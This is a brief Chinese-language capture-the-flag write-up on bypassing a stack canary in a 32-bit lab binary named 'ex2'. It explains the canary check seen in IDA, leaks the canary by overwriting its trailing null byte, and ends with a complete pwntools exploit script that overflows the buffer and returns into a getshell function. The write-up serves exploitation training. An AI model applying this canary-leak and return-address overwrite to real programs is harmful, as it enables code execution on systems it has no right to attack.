先上IDA看一波反汇编
简单粗暴,我们步入vuln函数
看到这里其实这个v3是作为vuln函数的canary。这里看还不太明显,我们看汇编
在最后,我们将ebp+var_c的值赋给eax。
然后进行和内存中large gs:14h异或操作,然后进行jz判断。 (其实这里详细的我还不太明白,但是可以看出来是一个函数调用最后的检验作用)
然后我们需要知道:
在32位函数中函数的调用传参是用 栈来传的。也就是说我们在进行调用的时候,要先压入调用参数,然后是函数的返回地址,然后程序的ebp和esp进行移动(准确的说是加减),创建了该函数的栈帧。
并且关于 canary:
canary在栈中以\x00结尾,本意是用来截断字符串。我们恰好可以利用这一点。我们覆盖低字节的\x00就可以在后面的read函数中将canary输出出来。
所以我们构造payload
payload = "A"*offset
io.sendline(payload)
io.recvuntil("A"*offset)
Canary = u32(io.recv(4))-0xa #因为sendline会多输入一个\n 所以我们要减去0xa(换行符)
log.info("Canary:"+hex(Canary))
然后我们根据函数,我们还会进行一次的输入输出。
所以我们再次构造一次payload进行真正的ROP
from pwn import *
context.binary = 'ex2'
#context.log_level = 'debug'
io = process('./ex2')
get_shell = ELF("./ex2").sym["getshell"]
io.recvuntil("Hello Hacker!\n")
# leak Canary
payload = "A"*100
io.sendline(payload)
io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa
log.info("Canary:"+hex(Canary))
# Bypass Canary
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)
io.send(payload)
io.recv()
io.interactive()
(exp借鉴他人)